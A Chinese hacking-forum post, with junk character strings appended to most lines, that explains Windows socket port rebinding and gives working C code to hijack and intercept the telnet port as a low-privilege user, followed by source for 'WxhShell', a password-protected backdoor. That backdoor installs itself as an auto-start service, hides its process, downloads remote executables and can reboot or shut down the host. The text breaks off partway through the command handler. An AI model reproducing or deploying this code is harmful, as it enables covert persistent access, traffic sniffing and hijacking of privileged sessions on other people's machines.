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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]!7 %)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C`G+b{o  
L]wWJL  
  saddr.sin_family = AF_INET; W''%{A/'  
9+:SS1_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xk9mJ]31LC  
A -C.Bi;/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ew13qpt)<L  
`ChS$p"A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mf~Joluc J  
a ~s:f5S>  
  这意味着什么?意味着可以进行如下的攻击: _&(\>{pm  
xwuGJ   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [ B{F(~O  
#7 )&`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6MCLm.L  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0bG[pp$[  
UB5CvM28  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NCrNlH IF  
Cz1Q@<)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 / @v V^!#1  
(/mR p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m:6^yfS  
6tx5{Xl-o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4*AkUkP:T  
Tu!2lHK;  
  #include ]=gNA  
  #include Yfbo=yk  
  #include y?6J%~\WP  
  #include    ,9A1p06  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GHs,,J;  
  int main() !.2tv  
  { =3h?!$#?  
  WORD wVersionRequested; L3/SIoqd  
  DWORD ret; ^}w@&Bje  
  WSADATA wsaData; %bN+Y'  
  BOOL val; *F<Ar\f5  
  SOCKADDR_IN saddr; (Q]Ww_r~  
  SOCKADDR_IN scaddr; 'hoEdJ]t5  
  int err; Abw=x4d(i  
  SOCKET s; V 4#bW  
  SOCKET sc; aru;yR  
  int caddsize; C Oc,  
  HANDLE mt; $_cO7d  
  DWORD tid;   5dvP~sw  
  wVersionRequested = MAKEWORD( 2, 2 ); WyA`V C  
  err = WSAStartup( wVersionRequested, &wsaData ); !W\za0p  
  if ( err != 0 ) { o+],L_Ab  
  printf("error!WSAStartup failed!\n"); D`Cy]j  
  return -1; GhJ<L3  
  } Y>J$OA:  
  saddr.sin_family = AF_INET; !:]/MpQ ?  
   {4F=].!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QZh#&Qf;  
+g9C klJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Exb?eHO  
  saddr.sin_port = htons(23); ym_w09   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >P9|?:c  
  { \ u*R6z  
  printf("error!socket failed!\n"); vE~>9  
  return -1; #+"1">l  
  } qWdob>u  
  val = TRUE; r!N> FE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [g/ &%n0^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1zcaI^e#  
  { $etw'c0  
  printf("error!setsockopt failed!\n"); +s j2C  
  return -1; kEYkd@ {  
  } LJgGX,Kp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /;X+<Wj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gLss2i.r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <"hq}B  
)KdEl9o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) al{}_1XoU  
  { ?3_^SRW&a  
  ret=GetLastError(); RM3"8J  
  printf("error!bind failed!\n"); uFUVcWt  
  return -1; !'z"V_x~  
  } 6M#}&Gv  
  listen(s,2); EXbaijHQG  
  while(1) : GdLr  
  { 9Ro7xSeD  
  caddsize = sizeof(scaddr); 8C=8Wjm  
  //接受连接请求 gq7l>vT.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;u?L>(b  
  if(sc!=INVALID_SOCKET) g=na3^PL6  
  { (|2:^T+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t" $#KP<  
  if(mt==NULL) ysH'X95  
  { MqAN~<l [  
  printf("Thread Creat Failed!\n"); 'PvOOhm,  
  break; 01 <Ti"  
  } a7>^^?|  
  } Wx`$hvdq  
  CloseHandle(mt); 8b[<:{[YB  
  } grxlGS~Q  
  closesocket(s); sTu]C +A  
  WSACleanup(); YXLZ2-%ohZ  
  return 0; Vv&GyqoO]  
  }   Pb}Iiq=  
  DWORD WINAPI ClientThread(LPVOID lpParam) @@3%lr71   
  { w }=LC#le  
  SOCKET ss = (SOCKET)lpParam; h:=W`(n5u  
  SOCKET sc; {+^&7JX  
  unsigned char buf[4096]; Rn$TYCO  
  SOCKADDR_IN saddr; I]-"Tw  
  long num; Zs|m_O G  
  DWORD val; STL+tLJ  
  DWORD ret;  GUps\:ss  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z7s}-w,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   veAdk9  
  saddr.sin_family = AF_INET; Eh+m|A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [{q])P;  
  saddr.sin_port = htons(23); zi_0*znw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P r2WF~NuO  
  { Ou]!@s  
  printf("error!socket failed!\n"); ?&JK q^9\I  
  return -1; `sLD>@m  
  } S=a>rnF  
  val = 100; &9ERlZ(A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BC)1FxsGf  
  { 9>6?tb"f*H  
  ret = GetLastError(); ?$6(@>`f&t  
  return -1; aeE~[m  
  } ew&"n2r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cS%;JV>C  
  { a] P0PH~  
  ret = GetLastError(); J(5#fo{Q.g  
  return -1; T2}X~A  
  } 6SF29[&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y-uSpW  
  { }E^k*S  
  printf("error!socket connect failed!\n"); U E-1p  
  closesocket(sc); N (0%C?  
  closesocket(ss); Y?V.O  
  return -1; }BWT21'-Y  
  } F):1@.S  
  while(1) ODxCD%L  
  { &3|l4R\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (z:qj/|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wln"g,ct  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1b<[/g9  
  num = recv(ss,buf,4096,0); t+#vcg,G  
  if(num>0) b/d 1(B@  
  send(sc,buf,num,0); Tq,dlDDOR  
  else if(num==0) l^2m7 7)  
  break; w7~cY=  
  num = recv(sc,buf,4096,0); "I QM4:  
  if(num>0) x~ E\zw  
  send(ss,buf,num,0); E/2_@&U:}  
  else if(num==0) bAEwjZ  
  break; [JEf P/n|.  
  } $"g'C8  
  closesocket(ss); M7=|N:/_  
  closesocket(sc); nP0rg  
  return 0 ; ;)Sf|  
  } #s{EIj~YR_  
|`pDOd  
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========================================================== dN@C)5pm5`  
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下边附上一个代码,,WXhSHELL > .K  
\.]C`ocD  
========================================================== h\4enu9[RL  
8M,$|\U  
#include "stdafx.h" L\q-Z..  
y$9XHubu  
#include <stdio.h> yeLd,M/I  
#include <string.h> QsBC[7<jd-  
#include <windows.h> T~ P<Gq} ,  
#include <winsock2.h> k54b@U52 h  
#include <winsvc.h> \F14]`i  
#include <urlmon.h> -d[Gy- J  
825 QS`  
#pragma comment (lib, "Ws2_32.lib") jd.w7.8  
#pragma comment (lib, "urlmon.lib") X2`n&JE  
oK3PA  
#define MAX_USER   100 // 最大客户端连接数 s=Xg6D  
#define BUF_SOCK   200 // sock buffer Ap> H-/C  
#define KEY_BUFF   255 // 输入 buffer @+sYwlA~  
B D [<>Wm  
#define REBOOT     0   // 重启 s8;*Wt  
#define SHUTDOWN   1   // 关机 -YS9u [   
:464~tHI[`  
#define DEF_PORT   5000 // 监听端口 1]"S?  
Nk<H=kw+  
#define REG_LEN     16   // 注册表键长度 -PaR&0Tt  
#define SVC_LEN     80   // NT服务名长度 ;pqS|ayl  
h*?]A  
// 从dll定义API fs2y$HN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w& )ApfL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1]&{6y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4MoxP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C8y[B1Y  
,"5xKF+cS  
// wxhshell配置信息 !?z"d  
struct WSCFG { cRWYS[O?-  
  int ws_port;         // 监听端口 7 iQa)8,  
  char ws_passstr[REG_LEN]; // 口令 U:gvK 8n  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^@<Ia-x  
  char ws_regname[REG_LEN]; // 注册表键名 VDlP,Mm*  
  char ws_svcname[REG_LEN]; // 服务名 @v/ 8}n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$[.X3i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e\ }'i-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \)cbg#v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9O\yIL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /d> Jkv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dB8 e  
'`&b1Rc  
}; G@U}4' V9  
+*G<xW :M  
// default Wxhshell configuration $\L=RU!c}  
struct WSCFG wscfg={DEF_PORT, j07b!j:"\}  
    "xuhuanlingzhe", Ue=1NnRDkA  
    1, ->W rBO  
    "Wxhshell", [f?x ,W~  
    "Wxhshell", 0y%s\,PsT  
            "WxhShell Service", S~B{G T\M  
    "Wrsky Windows CmdShell Service", b@B\2BT  
    "Please Input Your Password: ", |AS9^w  
  1, OpmPw4?}  
  "http://www.wrsky.com/wxhshell.exe", yY!@FGsA  
  "Wxhshell.exe" o4,9jk$  
    }; &(NW_ <(  
'JJ :  
// 消息定义模块 q*}$1 zb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B-wF1! Jv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L(}/W~En  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4 ;^  
char *msg_ws_ext="\n\rExit."; ",]A.,  
char *msg_ws_end="\n\rQuit."; j|VX6U   
char *msg_ws_boot="\n\rReboot..."; j3fq}>=  
char *msg_ws_poff="\n\rShutdown..."; B %  
char *msg_ws_down="\n\rSave to "; {*X|)nr  
< fYcON  
char *msg_ws_err="\n\rErr!"; fz rH}^  
char *msg_ws_ok="\n\rOK!"; :MGIp%3  
=/ 19 -Y:  
char ExeFile[MAX_PATH]; ;oOv~ YB7H  
int nUser = 0; EV_u8?va  
HANDLE handles[MAX_USER]; vkLyGb7r<  
int OsIsNt; +< )H2  
E0eZal],  
SERVICE_STATUS       serviceStatus; Dk}txw}#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5KW n>n  
c@$W]o"A  
// 函数声明 7e Hj"_;  
int Install(void); Fu65VLKh  
int Uninstall(void); 3A3WD+[L  
int DownloadFile(char *sURL, SOCKET wsh); h_B  nQZ\  
int Boot(int flag); Efu/v<  
void HideProc(void); P UC:Pl77  
int GetOsVer(void); fwSI"cfM  
int Wxhshell(SOCKET wsl); RA}Y$}^#'  
void TalkWithClient(void *cs); `rpmh7*WV  
int CmdShell(SOCKET sock); v"dl6%D"  
int StartFromService(void); B \.0 5<  
int StartWxhshell(LPSTR lpCmdLine); US&:UzI.  
}sM_^&e4X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >~uKkQ_p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /brHB @$  
'Ecd\p  
// 数据结构和表定义 &7KX`%K"D  
SERVICE_TABLE_ENTRY DispatchTable[] = ~uuM0POo  
{ j#9n.i %h  
{wscfg.ws_svcname, NTServiceMain}, )_K:A(V>  
{NULL, NULL} X`7O%HiX/`  
}; Hm_&``='  
R".*dC,0'B  
// 自我安装 [k=LX+w@  
int Install(void) Kk>va->R  
{ #^w8Y'{?  
  char svExeFile[MAX_PATH]; =!=DISPo  
  HKEY key; QPW+L*2  
  strcpy(svExeFile,ExeFile); sbV_h;<  
g8]$BhRIfr  
// 如果是win9x系统,修改注册表设为自启动 4qyPjAG  
if(!OsIsNt) { L]=LY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N._^\FRyn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "S psSQ  
  RegCloseKey(key); 6}:(m#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VQbKrnX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Mw0<#  
  RegCloseKey(key); oMKGM@V  
  return 0; .FvIT] k-  
    } IDp2#qg_  
  } +`TwBN,kp-  
} p9eTrFDy?  
else { \ZC0bHsA  
hho\e 8  
// 如果是NT以上系统,安装为系统服务 /re0"!0y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jg@eGs\*  
if (schSCManager!=0) ^;;gPhhWV  
{ Fb^,%K:  
  SC_HANDLE schService = CreateService 8CRwHDB  
  ( 4iJ4g%]  
  schSCManager, -9(nsaV  
  wscfg.ws_svcname, `12Y2W 9  
  wscfg.ws_svcdisp, (o!i9)  
  SERVICE_ALL_ACCESS, K# h7{RE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >x${I`2w  
  SERVICE_AUTO_START, #$JY &!M  
  SERVICE_ERROR_NORMAL, <KZ J  
  svExeFile, t#7owY$^  
  NULL, ~ \ Udl  
  NULL, `%=!_|  
  NULL, ];Y tw6A  
  NULL, V.w!]{xm  
  NULL HCaEETk5  
  ); B`|H }KU  
  if (schService!=0) *4g:V;L  
  { |k)Nf+(}W  
  CloseServiceHandle(schService); k'K 1zUBj  
  CloseServiceHandle(schSCManager); }nWW`:t kx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W<H<~wf#  
  strcat(svExeFile,wscfg.ws_svcname); @eRv`O"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |@dY[VK>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (E \lLlN  
  RegCloseKey(key); %Pk@`t(3  
  return 0; }M${ _D  
    } NJ(H$tB@  
  } dhi9=Co;  
  CloseServiceHandle(schSCManager); <X]dR 6FT  
} y{QF#&lW  
} }?Tz=hP  
hFDo{yI  
return 1; CoM?cS S  
} 9j$J}=y  
O_&Km[  
// 自我卸载 Yu|L6#[E  
int Uninstall(void) S[RVk=A1  
{ )IGx3+I ,  
  HKEY key; ^%/d]Zwb  
b+THn'2  
if(!OsIsNt) { Og"\@n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Oe\l[?$;  
  RegDeleteValue(key,wscfg.ws_regname); ''B}^yKEW  
  RegCloseKey(key); kDWvjT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n<MreKixE  
  RegDeleteValue(key,wscfg.ws_regname); X1GM\*BE  
  RegCloseKey(key); uG4Q\,R  
  return 0; '];=1loD  
  } kSO:xS0 _N  
} 5}`e"X  
} MW)=l | G  
else { jNP%BNd1f  
tnC,1HV0[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {_X&{dZLX  
if (schSCManager!=0) eed!SmP  
{ $~:|Vj5iZ\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e",0Er FT  
  if (schService!=0) x$24Nc1a'  
  { IHj9n>c)[  
  if(DeleteService(schService)!=0) { r~T3Ieb  
  CloseServiceHandle(schService); 41\V;yib  
  CloseServiceHandle(schSCManager); ?., 2EC=+  
  return 0; w(nQ:;oC  
  } Y!AQ7F  
  CloseServiceHandle(schService); 7)y +QU]  
  } .0]Odf:@  
  CloseServiceHandle(schSCManager); 1)ZdkTF@H  
} jLreN#:9  
} PA>su)N$  
CL"q "  
return 1; (W_U<~`t  
} &(rR)cG  
mf)E%qo  
// 从指定url下载文件 ?a` $Y>?h  
int DownloadFile(char *sURL, SOCKET wsh) Iqb|.vLG  
{ iPt{v5}]  
  HRESULT hr; 4$8\IJ7G  
char seps[]= "/"; S{c;n*xf  
char *token; 0vcM+}rw  
char *file; 3H@29TrJ+  
char myURL[MAX_PATH]; IsP!ZcV;  
char myFILE[MAX_PATH]; ph=U<D4  
bd3q207>  
strcpy(myURL,sURL); S&;D  
  token=strtok(myURL,seps); XB\n4 |4  
  while(token!=NULL) X1Y+ao1)  
  { Be2yS]U  
    file=token; 7|q _JdKoU  
  token=strtok(NULL,seps); I07_o"3>qr  
  } !7aJfs2  
[Xo}CU  
GetCurrentDirectory(MAX_PATH,myFILE); f`8mES'gc8  
strcat(myFILE, "\\"); </Ry4x^A  
strcat(myFILE, file); g(F? qP_K  
  send(wsh,myFILE,strlen(myFILE),0); >O}J*4A>+#  
send(wsh,"...",3,0); B;xGTl@8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %Dm:|><V$b  
  if(hr==S_OK) /S&8%fb  
return 0; {Qj7?}xW  
else =E' .T0v  
return 1; hS +R /7  
{Aq:Kh`&  
} dE|luN~  
,5thD  
// 系统电源模块 -XARew  
int Boot(int flag) PU^@BZ_m  
{ P(Ve' wOaf  
  HANDLE hToken; XpibI3:<  
  TOKEN_PRIVILEGES tkp; xzTF| Z\  
qn|~z@"  
  if(OsIsNt) { nV&v@g4Tt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9U~sRj=D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $|r p5D6  
    tkp.PrivilegeCount = 1; 41jlfKiOm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2K$#U|Qi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d NgjM Q  
if(flag==REBOOT) { APT /z0X>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2x dN0S  
  return 0; sn.&|)?Fi  
} "N*i!h  
else { ad[oor/7|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V-TWC@Y"  
  return 0; c9)5G+   
} lM-*{<B  
  } 2@#`x"0  
  else { "=\@ a=  
if(flag==REBOOT) { .>{I S4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bwg\_:vq  
  return 0; Gmp`3  
} PV,AN   
else { ;gNoiAxW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mY !LGN  
  return 0; 7__?1n~{  
} >@c~M  
} _4#&!b6  
y<A%&  
return 1; KHJk}]K  
} 3Y+ bIz!  
>*cg K}!@  
// win9x进程隐藏模块 =Frbhh57  
void HideProc(void) p$*;>YKO  
{ za oC  
qmM%MPv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wx%TQ!  
  if ( hKernel != NULL ) -C<Ni  
  { bem-T`>'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7JHS8C<]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kk_h&by?  
    FreeLibrary(hKernel); }MV=I$S2U  
  } Ar VNynQ  
8  }(ul  
return; sCE2 F_xjL  
} ;5wr5H3  
h1 (MvEt  
// 获取操作系统版本 y:3d`E4Xw  
int GetOsVer(void) [Y=X^"PF  
{ ,,KGcDBj  
  OSVERSIONINFO winfo; <UMT:`h1MZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 37QXML  
  GetVersionEx(&winfo); ]J* y`jn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lTn~VsoRZ  
  return 1;  ~ok i s  
  else xMAb=87_  
  return 0; cXo^.u  
} auS.q5 %  
q=40  l  
// 客户端句柄模块 1-bQ ( -  
int Wxhshell(SOCKET wsl) n%YG)5;  
{ @*rED6zH  
  SOCKET wsh; b[_${in:  
  struct sockaddr_in client; 5};$>47m  
  DWORD myID; .A2u7*h&  
'N?t=A  
  while(nUser<MAX_USER) 3@7<e~f  
{ -d8||X[  
  int nSize=sizeof(client); M?fRiOj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /K@{(=n  
  if(wsh==INVALID_SOCKET) return 1; ?dcR!-3  
(&a<6k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Y[|xu:N8Y  
if(handles[nUser]==0) WDdp(<  
  closesocket(wsh); k;9"L90  
else ']]&<B}mz  
  nUser++; GXE6=BO  
  } @\UoZv(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >)IXc<"wq  
q T pvz  
  return 0; {UR&Y  
} j2/3NF5&  
sUP !'Av  
// 关闭 socket 6(X5n5C  
void CloseIt(SOCKET wsh) >.-$?2  
{ X;?Z_3I:5  
closesocket(wsh); * (4TasQu  
nUser--; Y/1,%8n  
ExitThread(0); o-D,K dY  
} A|esVUo<3^  
9IRvbE~2  
// 客户端请求句柄 _\tGmME37  
void TalkWithClient(void *cs) GK/Q]}Q8pZ  
{ U8 b1 sz  
3koXM_4_{)  
  SOCKET wsh=(SOCKET)cs; 3oCw(Ff  
  char pwd[SVC_LEN]; ", :Ta|  
  char cmd[KEY_BUFF]; M:~/e8Xv  
char chr[1]; ;5.o;|w?!  
int i,j; 6!3Jr  
I:qfB2tL)O  
  while (nUser < MAX_USER) { o,sw[  
T"GuE[?a  
if(wscfg.ws_passstr) { >Lo!8Hen  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dWI.t1`i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $.z~bmH"D  
  //ZeroMemory(pwd,KEY_BUFF); +HK)A%QI  
      i=0; D-8>?`n\  
  while(i<SVC_LEN) { BI\+ NGrB  
y ;4h'y>#  
  // 设置超时 '%m0@5|hCD  
  fd_set FdRead; 7(<49bb.V  
  struct timeval TimeOut; =!#iC?I  
  FD_ZERO(&FdRead); $VrKoL\ScA  
  FD_SET(wsh,&FdRead); H<SL=mb;  
  TimeOut.tv_sec=8; elgCPX&:W  
  TimeOut.tv_usec=0; ?]=fC{Rh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lK? Z38  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / h6(!-"  
$J |oVVct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D k'EKT-  
  pwd=chr[0]; xmDX1sL**  
  if(chr[0]==0xd || chr[0]==0xa) { Ohm>^N;  
  pwd=0; >q&Q4E0  
  break; (Jw[}&+  
  } !k&~|_$0@  
  i++; Te8BFcJG  
    } id-VoHd K  
Hr$oT=x[  
  // 如果是非法用户,关闭 socket MGO.dRy_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c#G]3vTdE  
} s'^zudx  
;!@\|E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t#y   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xX'Uq_ Jv  
P#H#@:/3  
while(1) { gKZ{O  
|<.b:e\4  
  ZeroMemory(cmd,KEY_BUFF); {/BEO=8q2  
R0<ka[+  
      // 自动支持客户端 telnet标准   n;"4`6L~  
  j=0; z#!xqIg0  
  while(j<KEY_BUFF) { 7[-jr;v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v.1= TBh  
  cmd[j]=chr[0]; (oxe\Qk  
  if(chr[0]==0xa || chr[0]==0xd) { rI}E2J  
  cmd[j]=0; &F}1\6{fL  
  break; &bJ98 Nxl  
  } k~Pm.@,3o  
  j++; !v2,lH  
    }  hh"0z]  
LeW.uh3.  
  // 下载文件 qD\%8l.]Z  
  if(strstr(cmd,"http://")) { (nrrzOax  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); co3H=#2a  
  if(DownloadFile(cmd,wsh)) \i-jME(sN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =tcPYYD  
  else *eXO?6f%s^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^c]Sl  
  } L\og`L)5\  
  else { B>?Y("E  
dW7dMx  
    switch(cmd[0]) { Z-<v5aF  
  YeJ95\jf  
  // 帮助 g]xZ^M+  
  case '?': { 6\,^MI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ) WIlj  
    break; IQ{Xj3;?y  
  } V8&/O)}o  
  // 安装 L1QQU  
  case 'i': { ]@J}f}Mjo  
    if(Install()) (?\ZN+V)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gE=~.P[ZX  
    else fnnwe2aso  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vP}K(' (  
    break; oQ;f`JC^  
    } +$>ut r  
  // 卸载 ):78GVp  
  case 'r': { 5 J|;RtcR  
    if(Uninstall()) gSj-~k P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CHpDzG>]4  
    else %,,h )9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `^J~^Z7Y-  
    break; %Y Rg1UKY  
    } * Kzs(O  
  // 显示 wxhshell 所在路径 @@|E1'c7  
  case 'p': { M]` Q4\  
    char svExeFile[MAX_PATH]; G P1>h.J  
    strcpy(svExeFile,"\n\r"); a`pY&xq::  
      strcat(svExeFile,ExeFile); eZHzo  
        send(wsh,svExeFile,strlen(svExeFile),0); <Awx:lw.  
    break; 0K3FH&.%  
    } ~vl:Tb  
  // 重启 QrA8 KSLC  
  case 'b': { e3>Re![_.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ z4rx  
    if(Boot(REBOOT)) nv$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Elr8XLw  
    else { 9jPb-I-   
    closesocket(wsh); /#G"'U/  
    ExitThread(0); {t/!a0\HS  
    } <M'IR f/D  
    break; 9_>4~!x`  
    } Y(SI`Xo[  
  // 关机 x>8f#B\Mr  
  case 'd': { y]jh*KD[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mz++SPG7  
    if(Boot(SHUTDOWN)) ^Js9E  
